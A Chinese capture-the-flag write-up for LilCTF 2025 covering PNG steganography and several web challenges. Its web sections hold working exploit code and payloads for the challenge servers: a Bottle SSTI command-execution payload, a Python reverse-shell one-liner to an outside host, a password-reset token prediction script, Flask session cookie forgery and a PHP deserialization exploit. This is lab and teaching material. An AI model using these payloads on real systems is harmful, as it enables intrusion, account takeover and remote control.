2025 LilCTF Web部分wp

Misc

PNG Master | Stuck

出题:YanHuoLG

难度:简单


提到隐写,你能想到哪些常见的隐写方式呢?不过我相信misc手的脑洞一定能想到某个基于最低有效位实现的隐写方法吧?哦对了,我可不认为扩展名也是文件名的一部分。(比C3ngH简单)

赛中没做出来,卡在最后flag3了。所以赛后看其他师傅wp复现了一下。

题目共涉及三种隐写方式:LSB,16进制文本末尾额外数据,IDAT块隐写。

flag

image-20250818223257412

base64解码一下得到flag1:

让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b

LSB再base64得到flag2:

在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d

IDAT块隐写:

image-20250818224111649

提取之后zlib解压缩:

import zlib
import binascii

with open("D:\\OneDrive\\Desktop\\无标题1", "rb") as f:
    id = f.read().hex().upper()

result = binascii.unhexlify(id)
print("原始字节数据:")
print(result)

decompressed = zlib.decompress(result)
print("\n解压后的字节数据:")
print(decompressed)

decompressed_hex = binascii.hexlify(decompressed).decode('utf-8')
print("\n解压后的十六进制数据:")
print(decompressed_hex)

try:
    print("\n解压后的字符串:")
    print(decompressed.decode('utf-8'))
except UnicodeDecodeError:
    print("\n解压结果不是UTF-8编码的文本数据")
    try:
        print("使用ISO-8859-1编码尝试解码:")
        print(decompressed.decode('iso-8859-1'))
    except UnicodeDecodeError:
        print("无法将解压结果解码为文本")


解压结果看出有PK开头,是压缩包,于是提取保存解压。

拿到hint.txt,零宽字节隐写,得到提示:与文件名xor

image-20250818230123076

image-20250818230538828

flag3: 61733765725f696e5f504e477d
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b


在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d


flag3: 61733765725f696e5f504e477d



4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d
hex转:LILCTF{Y0u_4r3_Mas7er_in_PNG}

Web

ez_bottle | Solved

(赛后看看:https://www.tremse.cn/2025/04/12/bottle框架的一些特性/#bottle-de-xuan-ran-ji-zhi

https://www.cnblogs.com/LAMENTXU/articles/18805019

出题:0raN9e

难度:简单

能顺利帮瓶子回去嘛

附件源码:

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]

def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)

def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000

def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))

@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)

@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)

@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"

    try:
        return template(content)
    except Exception as e:
        return f"Error rendering template: {str(e)}"

@error(404)
def error404(error):
    return "bbbbbboooottle"

@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."

if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

解题过程

/upload路由有个文件上传的逻辑,但是没有上传处,拷打gpt写了一个html页面上传(后面没用到,权当过程记录):

<!DOCTYPE html>
<html lang="zh">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>回收站 - 上传</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f4f4f4;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      margin: 0;
    }
    .container {
      text-align: center;
      background: #fff;
      padding: 40px;
      border-radius: 10px;
      box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
      width: 450px;
    }
    h2 { color: #333; margin-bottom: 20px; font-size: 24px; }
    .hint { color: #666; font-size: 14px; margin-bottom: 16px; }
    .garbage-bins { display: flex; justify-content: center; margin-bottom: 16px; }
    .bin {
      width: 200px; height: 200px;
      background-image: url('/static/back.png');
      background-size: contain; background-repeat: no-repeat; background-position: center;
      cursor: pointer; transition: transform 0.2s ease, box-shadow 0.2s ease;
      border-radius: 12px; border: 2px dashed transparent;
    }
    .bin:hover { transform: scale(1.05); }
    .bin.dragover {
      border-color: #4caf50;
      box-shadow: 0 0 0 4px rgba(76, 175, 80, 0.15);
      transform: scale(1.06);
    }
    .actions { display: flex; gap: 10px; justify-content: center; margin-top: 8px; }
    button, .btn {
      padding: 10px 16px; border-radius: 8px; border: none;
      background: #4caf50; color: #fff; cursor: pointer; font-size: 14px;
    }
    button:disabled { background: #9e9e9e; cursor: not-allowed; }
    .status { font-size: 13px; color: #555; margin-top: 10px; min-height: 1.2em; }
    input[type="file"] { display: none; }
  </style>
</head>
<body>
  <div class="container">
    <h2>瓶子该去哪里</h2>
    <p class="hint">点垃圾桶选择文件,或把文件拖到垃圾桶中上传(不再自动提交)。</p>

    <!-- 提交到题目给的上传地址 -->
    <form id="uploadForm" action="http://challenge.xinshi.fun:41907/upload" method="POST" enctype="multipart/form-data">
      <div class="garbage-bins">
        <div id="bin" class="bin" title="点击选择文件或拖拽到这里"></div>
      </div>

      <input id="fileInput" type="file" name="file" />
      <div class="actions">
        <button id="chooseBtn" type="button">选择文件</button>
        <button id="uploadBtn" type="submit" disabled>上传</button>
      </div>

      <div id="status" class="status"></div>
    </form>
  </div>

  <script>
    const bin = document.getElementById('bin');
    const fileInput = document.getElementById('fileInput');
    const form = document.getElementById('uploadForm');
    const chooseBtn = document.getElementById('chooseBtn');
    const uploadBtn = document.getElementById('uploadBtn');
    const statusEl = document.getElementById('status');

    const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB,与后端保持一致

    function setStatus(msg) { statusEl.textContent = msg || ''; }
    function enableUploadIfReady() {
      uploadBtn.disabled = !(fileInput.files && fileInput.files.length > 0);
    }
    function describeFile(f) {
      return `${f.name}(${Math.round(f.size/1024)} KB)`;
    }

    // 点击垃圾桶或按钮,触发文件选择
    bin.addEventListener('click', () => fileInput.click());
    chooseBtn.addEventListener('click', () => fileInput.click());

    // 选择文件后:只更新状态/启用上传按钮,不自动提交
    fileInput.addEventListener('change', () => {
      if (fileInput.files && fileInput.files.length > 0) {
        const f = fileInput.files[0];
        if (f.size > MAX_FILE_SIZE) {
          setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
          fileInput.value = '';
          enableUploadIfReady();
          return;
        }
        setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
      } else {
        setStatus('');
      }
      enableUploadIfReady();
    });

    // 拖拽视觉反馈
    ['dragenter','dragover'].forEach(evt => {
      bin.addEventListener(evt, (e) => {
        e.preventDefault(); e.stopPropagation();
        bin.classList.add('dragover');
      });
    });
    ['dragleave','drop'].forEach(evt => {
      bin.addEventListener(evt, (e) => {
        e.preventDefault(); e.stopPropagation();
        bin.classList.remove('dragover');
      });
    });

    // 拖拽放置:只填充文件,不自动提交
    bin.addEventListener('drop', (e) => {
      if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length > 0) {
        const f = e.dataTransfer.files[0];
        if (f.size > MAX_FILE_SIZE) {
          setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
          return;
        }
        // 将拖拽的文件放到 input 上
        fileInput.files = e.dataTransfer.files;
        setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
        enableUploadIfReady();
      }
    });

    // 防止将文件拖进整个窗口时打开
    ['dragenter','dragover','dragleave','drop'].forEach(evt => {
      window.addEventListener(evt, (e) => e.preventDefault());
    });

    // 提交前提示
    form.addEventListener('submit', (e) => {
      if (!fileInput.files || fileInput.files.length === 0) {
        e.preventDefault();
        setStatus('请先选择文件');
        return;
      }
      const f = fileInput.files[0];
      if (f.size > MAX_FILE_SIZE) {
        e.preventDefault();
        setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
        return;
      }
      setStatus('正在上传…');
      // 继续表单的默认提交
    });
  </script>
</body>
</html>

源码48行return template(content)可看出有SSTI,再结合题目提示,应该是bottle框架的相关模板SSTI

后面发现每次改一下payload都要压缩一次再上传,索性直接本地起个服务完成这一套最后回显结果即可:

import zipfile
import requests
import os
from io import BytesIO
import re
import sys
from flask import Flask, request, jsonify

app = Flask(__name__)

# --- 配置区 ---
# 从您的HTML文件中获取的目标上传URL
upload_url = "http://challenge.xinshi.fun:49072/upload"

# 定义文件名
txt_filename = "1.txt"
zip_filename = "1.zip"

# 性能优化配置
REQUEST_TIMEOUT = 10  # 请求超时时间(秒)
# --- 配置区结束 ---

def create_and_upload_zip(content, url):
    """
    将给定的内容写入txt文件,压缩成zip,然后上传到指定URL。
    """
    # --- 步骤 1: 将字符串写入 1.txt ---
    try:
        with open(txt_filename, 'w', encoding='utf-8') as f:
            f.write(content)
        print(f"成功创建文件 '{txt_filename}' 并写入内容。")
    except IOError as e:
        print(f"错误:无法写入文件 '{txt_filename}': {e}")
        return

    # --- 步骤 2: 将 1.txt 压缩成 1.zip ---
    try:
        with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.write(txt_filename)
        print(f"成功将 '{txt_filename}' 压缩为 '{zip_filename}'。")
    except Exception as e:
        print(f"错误:压缩文件失败: {e}")
        return

    # --- 步骤 3: 上传 1.zip 文件 ---
    print(f"正在上传 '{zip_filename}' 到 {url} ...")
    
    try:
        # 打开zip文件以二进制模式读取
        with open(zip_filename, 'rb') as f:
            # 构造 multipart/form-data 请求
            # 'file' 这个键名来自于HTML中的 <input type="file" name="file" />
            files = {'file': (zip_filename, f, 'application/zip')}
            
            # 发送POST请求,设置超时
            response = requests.post(url, files=files, timeout=REQUEST_TIMEOUT)
            
            # 打印服务器的响应
            print("\n--- 服务器响应 ---")
            print(f"状态码: {response.status_code}")
            print("响应内容:")
            # 使用 response.text 来查看文本响应,如果可能是其他类型,可用 response.content
            print(response.text)
            print("------------------")

    except requests.exceptions.Timeout:
        print(f"\n错误:上传超时")
    except requests.exceptions.RequestException as e:
        print(f"\n错误:上传失败: {e}")
    finally:
        # --- 步骤 4: 清理本地生成的文件 ---
        print("\n清理本地文件...")
        try:
            if os.path.exists(txt_filename):
                os.remove(txt_filename)
                print(f"已删除 '{txt_filename}'。")
            if os.path.exists(zip_filename):
                os.remove(zip_filename)
                print(f"已删除 '{zip_filename}'。")
        except:
            pass

# --- 主程序入口 ---
@app.route('/upload', methods=['GET'])
def upload():
    content = request.args.get('content')
    if not content:
        return "未提供内容", 400

    try:
        # 创建文件
        with open(txt_filename, 'w', encoding='utf-8') as f:
            f.write(content)

        # 创建zip文件
        with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.write(txt_filename)

        # 上传文件,设置超时
        with open(zip_filename, 'rb') as f:
            response = requests.post(upload_url, files={"file": (zip_filename, f, 'application/zip')}, timeout=REQUEST_TIMEOUT)

        # 解析响应
        if response.status_code == 200:
            # 从响应中提取MD5值
            md5_match = re.search(r'/view/([a-f0-9]+)/1\.txt', response.text)
            if md5_match:
                md5_value = md5_match.group(1)
                # 构造查看文件的URL
                view_url = f"http://challenge.xinshi.fun:49072/view/{md5_value}/1.txt"
                
                # 获取文件内容,设置超时
                view_response = requests.get(view_url, timeout=REQUEST_TIMEOUT)
                if view_response.status_code == 200:
                    try:
                        view_content = view_response.content.decode('utf-8')
                    except UnicodeDecodeError:
                        view_content = view_response.text
                else:
                    view_content = f"无法获取文件内容,状态码: {view_response.status_code}"

                # 只返回文件内容
                result = view_content
            else:
                result = "无法从响应中提取文件路径"
        else:
            result = f"上传失败,状态码: {response.status_code}"

    except requests.exceptions.Timeout:
        result = "请求超时"
    except requests.exceptions.RequestException as e:
        result = f"网络请求错误: {str(e)}"
    except Exception as e:
        result = f"错误: {str(e)}"
    finally:
        # 清理文件
        try:
            if os.path.exists(txt_filename):
                os.remove(txt_filename)
            if os.path.exists(zip_filename):
                os.remove(zip_filename)
        except:
            pass

    return result

@app.route('/result', methods=['GET'])
def result():
    file_url = request.args.get('file_url')
    if not file_url:
        return jsonify({"error": "No file URL provided"}), 400

    # 访问远程服务的view路径获取信息2
    try:
        view_response = requests.get(file_url)
        if view_response.status_code == 200:
            view_content = view_response.text
        else:
            view_content = f"Error accessing file: {view_response.status_code}"
    except Exception as e:
        view_content = f"Error accessing file: {e}"

    # 返回信息1和信息2
    return jsonify({"message": "File uploaded successfully", "view_info": view_content})

@app.route('/')
def home():
    return "欢迎使用上传服务! 使用 /upload?content=你的内容 来上传文件。", 200

if __name__ == "__main__":
    app.run(debug=True)

需要绕过黑名单:

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]

绷不住了现在5个小时了还没绕过去。。。

看了看模板语法,{{}}可以用% 或者<%%>来代替,但这里尖括号被waf了,所以只能用%,模板语法显示%后面可以直接写一行python代码被执行,我们可以使用分号来达到执行多行的效果。

在没搞清楚语法之前直接继承链在那打了好几个小时,试了很多payload,还在常常是绕waf(绷)。最后翻了一下python中能用来代码执行的库函数,找到了subprocess.run()。

由于本题是无回显的,而且不能反弹shell,所以尝试直接读flag,写入静态目录/static,| tee可用来代替重定向符号。

构造了payload如下:

http://127.0.0.1:5000/upload?content=% import subprocess;subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])

如果回显是空白,说明执行成功了。

访问/static/2.txt即可得到flag 为 LILCTF{80TT13_H4S_8eEN_RecYc1ED}

img

blade_cc

出题:N1ght

难度:困难

万恶的n1ght,留出了一个反序列化入口,但是他做了黑名单和不出网,你能想办法完成这个挑战吗?

附件:

解题过程

php_jail_is_my_cry | Stuck

出题:Kengwang

难度:中等

PHP Jail is my CRY

请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题

本题不出网, 最终需要执行 /readflag

赛后复现时该读的文章:open_basedir绕过 - Von的博客 | Von Blog

解题过程

Ekko_note | Solved

出题:LamentXU

难度:简单

时间刺客Ekko成功当上了某上市公司的老板。于是他让员工给他写一个只有他能用的RCE接口...... 但是,这个员工写的代码好像有点问题?

题目已在修复依赖环境后重新上线;附件已更新;由于部分队伍在下线前已经下载附件,本题前三血不加分。

Hint: 艾克喜欢新东西…… 好像他的员工也是这样的。uuid.uuid8()不是所有python版本都有哦~

附件源码:

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2066/07/05 19:20:29
@Author  :   Ekko exec inc. 某牛马程序员 
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()

# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(60), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    time_api = db.Column(db.String(200), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai')

class PasswordResetToken(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    token = db.Column(db.String(36), unique=True, nullable=False)
    used = db.Column(db.Boolean, default=False)

def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

with app.app_context():
    db.create_all()
    if not User.query.filter_by(username='admin').first():
        admin = User(
            username='admin',
            email='admin@example.com',
            password=generate_password_hash(admin_super_strong_password),
            is_admin=True
        )
        db.session.add(admin)
        db.session.commit()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        user = User.query.get(session['user_id'])
        if not user.is_admin:
            flash('你不是admin', 'danger')
            return redirect(url_for('home'))
        return f(*args, **kwargs)
    return decorated_function

def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('data', '').get('datetime', '')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if password != confirm_password:
            flash('密码错误', 'danger')
            return redirect(url_for('register'))

        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('已经存在这个用户了', 'danger')
            return redirect(url_for('register'))

        existing_email = User.query.filter_by(email=email).first()
        if existing_email:
            flash('这个邮箱已经被注册了', 'danger')
            return redirect(url_for('register'))

        hashed_password = generate_password_hash(password)
        new_user = User(username=username, email=email, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()

        flash('注册成功,请登录', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        user = User.query.filter_by(username=username).first()
        if user and check_password_hash(user.password, password):
            session['user_id'] = user.id
            session['username'] = user.username
            session['is_admin'] = user.is_admin
            flash('登陆成功,欢迎!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('用户名或密码错误!', 'danger')
            return redirect(url_for('login'))

    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('成功登出', 'info')
    return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        token = request.form.get('token')
        new_password = request.form.get('new_password')
        confirm_password = request.form.get('confirm_password')

        if new_password != confirm_password:
            flash('密码不匹配', 'danger')
            return redirect(url_for('reset_password'))

        reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
        if reset_token:
            user = User.query.get(reset_token.user_id)
            user.password = generate_password_hash(new_password)
            reset_token.used = True
            db.session.commit()
            flash('成功重置密码!请重新登录', 'success')
            return redirect(url_for('login'))
        else:
            flash('无效或过期的token', 'danger')
            return redirect(url_for('reset_password'))

    return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦,都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

解题过程

解法1

根据题目描述和路由来看,最终目的是要触发236行的os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。来RCE。

admin未知,先随便注册个用户进去看看:

img

点击执行命令之后提示时间要到2066年才会开放该功能,推测可能和底下的当前时间为准。

img

看到有相关时间调用的api,可知是从这里得到的时间。

而又发现admin/setting路由有api更新相关的逻辑实现:

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

所以回来了,我们还是得想办法登录admin账户来实现这些。

注意到有忘记密码功能。

我们现在先阶段性总结一下: 更改密码 -> 登录admin -> 想办法进/admin/settings -> 更新api -> 进命令执行路由RCE

根据hint提示,了解到uuidv8是最新的python3.14才出的,于是google查到一篇最近的讲uuid安全的文章(聊聊python中的UUID安全 - LamentXU - 博客园)里面有说道,a,b,c三个参数不定的话,其实就是伪随机,uuid的值将变得可预测。

安装最新的3.14前瞻版本的python,阅读uuid8源码发现,uuid8调用了random函数,其实是伪随机。

从前面可以推算出服务器建站时间,但是不精确,源码中显示,/server_info路由回显有server_start_time

这正是我们想要的,登录普通用户然后控制台发送fetch('/server_info').then(r => r.json()).then(console.log)即可拿到server_start_time的精确时间戳,。

脚本(自己本地跑,ai还没有3.14的环境):

import random
import uuid

def padding(username: str) -> int:
    b = username.encode('utf-8')
    b = (b[:6] if len(b) > 6 else b.ljust(6, b'\x00'))
    return int.from_bytes(b, 'big')

seed = 1755370834.1768594  # /server_info 拿到的浮点数
username = "admin"         # 目标账号的 username,务必改成正确的

random.seed(seed)
a_val = padding(username)
print(f"padding: {a_val}")
print(str(uuid.uuid8(a=a_val)))

密码也就改成了我们自定义的,然后就可以登录admin账户了。

img

然后我们在这里更改api接口,从而让时间改为2066之后。

自己搭建api接口,格式参照原接口:{"date":"2025-08-15 23:57:17","weekday":"星期五","timestamp":1755273437,"remark":"任何情况请联系QQ:3295320658 微信服务号:顺成网络"}

from flask import Flask, Response, jsonify
from datetime import datetime
app = Flask(__name__)

@app.get("/api/time")
def alltime():
    target_dt = datetime(2067, 7, 5, 19, 20, 29)

    return jsonify({
            "date": target_dt.strftime("%Y-%m-%d %H:%M:%S"),
            "weekday": "星期三", 

            "timestamp": int(target_dt.timestamp())
    })
app.run("0.0.0.0", 5000)

img

img

无回显,反弹shell:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",4567));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

img

flag为:ILCTF{u_H@Ve_10uNd_tHE_r1gH7_TimEIiNE!}

解法2

根据赛后群友讨论,这道题还存在一个非预期解法:Flask-Session伪造。

有点忘了,所以在这里记一下用于备忘:

E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -c ".eJw1zMEKgzAQBNBfaeecg4Yaa36lkRDjbiuoB9c9if_eUOlphuExByLPST4k8K8Dt70ExrS-aYNB0OfAbdDWtUPQhpsG_Wn-TDRnEvm5S3Tu4YI6W1dF246DMle5LIO15Ysz3ctBbzBJTOMyrfCcZiEDFdriNMLbq69pIXjUOL859TMx.aKMv3g.w-peDPRQSAdMp5RaAumcEWWGF8U" -s "your-secret-key-here"
{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': False, 'user_id': 2, 'username': '1'}




E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -t "{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': True, 'user_id': 1, 'username': 'admin'}" -s "your-secret-key-here"
.eJw1zMEKgzAQBNBfaeecgwaNNb_SSIhxtxWqB9c9if_eUOlphuExByJ_krxJ4J8HbnsJTGl90QaDoI-Ru6Cd68agLbcthtP8mWjOJPJzl-hd44I6W1dF256DMle5LKO15Ysz3cvBYDBLTNMyr_D7pmSgQlucJ_j66mtaCB6XOb_ZgDS9.aKM1Qg.IK2q5r0cwxa5yrnSoN1Bc0daczM

Your Uns3r | Solved

出题:Kengwang

难度:简单

我一直在等待你的答案

题目给出源码:

<?php
    
    
    
    
    
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

解题过程

分析关键函数应该是11行include($ser->getToken());

  1. 初始执行User类中的__destruct魔术方法,需要满足$this->username == "admin",设置$user->username = true;``我们可以通过php中true` == 所有字符串的特性来绕过。
  2. 接下来需要绕过$ser != $this->value && $ser instanceof Access,可以通过赋值$user->value = serialize($access);再经过$ser = unserialize(serialize(unserialize($this->value)));,使得ser变量成为一个不同于$access的Access实例,从而绕过。

本地通了!好机会!

img

但是靶机用这个依旧打不通,难道是靶机的配置也是默认没开? 突然灵机一动,如果本地把最后一行加上呢?试了一下居然打不通了,注释之后又能打通了。意识到这是个问题,要绕过。

https://www.wangan.com/p/7fy7f46cd2c8727f#fastdestruct提前触发魔术方法

省流:throw会不让__destruct执行,删除最后一个括号便可以提前执行从而绕过。

img

看报错消息,不能用那些伪协议了。但仍然可以直接用路径或者file。

成功包含文件:

img

flag为:LILCTF{6ONN@_flnD_y#Ur_4nSWer_T0_un53r}

img

Exp:

<?php

class User
{
    public $username;
    public $value;
}

class Access
{
    protected $prefix;
    protected $suffix;
    public function __construct($prefix = '/', $suffix = '/../flag')
    {
        $this->prefix = $prefix;
        $this->suffix = $suffix;
    }
}

$user = new User();
$access = new Access(); 
$user->value = serialize($access);
$user->username = true; //弱比较

//以后传参一定只传url版本,不然可能会有问题,就比如这次。。。
echo serialize($user);
echo "\n";
echo urlencode(serialize($user));

?>

我曾有一份工作 | Stuck

出题:晨曦

难度:中等

一次备份,换来的是一张辞职信

flag 在 pre_a_flag 表里

本题允许使用扫描器

解题过程

登录之后有留言板,尝试一下xss:

img

https://zone.ci/aliyun/ali_nvd/39151.html

漏洞复现-DiscuzX 系列全版本后台SQL注入漏洞_ucenter漏洞-CSDN博客 推测是打越权然后,登录admin,最后sql注入。但是不会(

找回密码功能,试了试并不能直接找回。

想法:或许能通过普通用户找回密码时候越权呢?

搜索页面有报错

posted @ 2025-08-19 09:46  幽暗天琴沙雕  阅读(110)  评论(0)    收藏  举报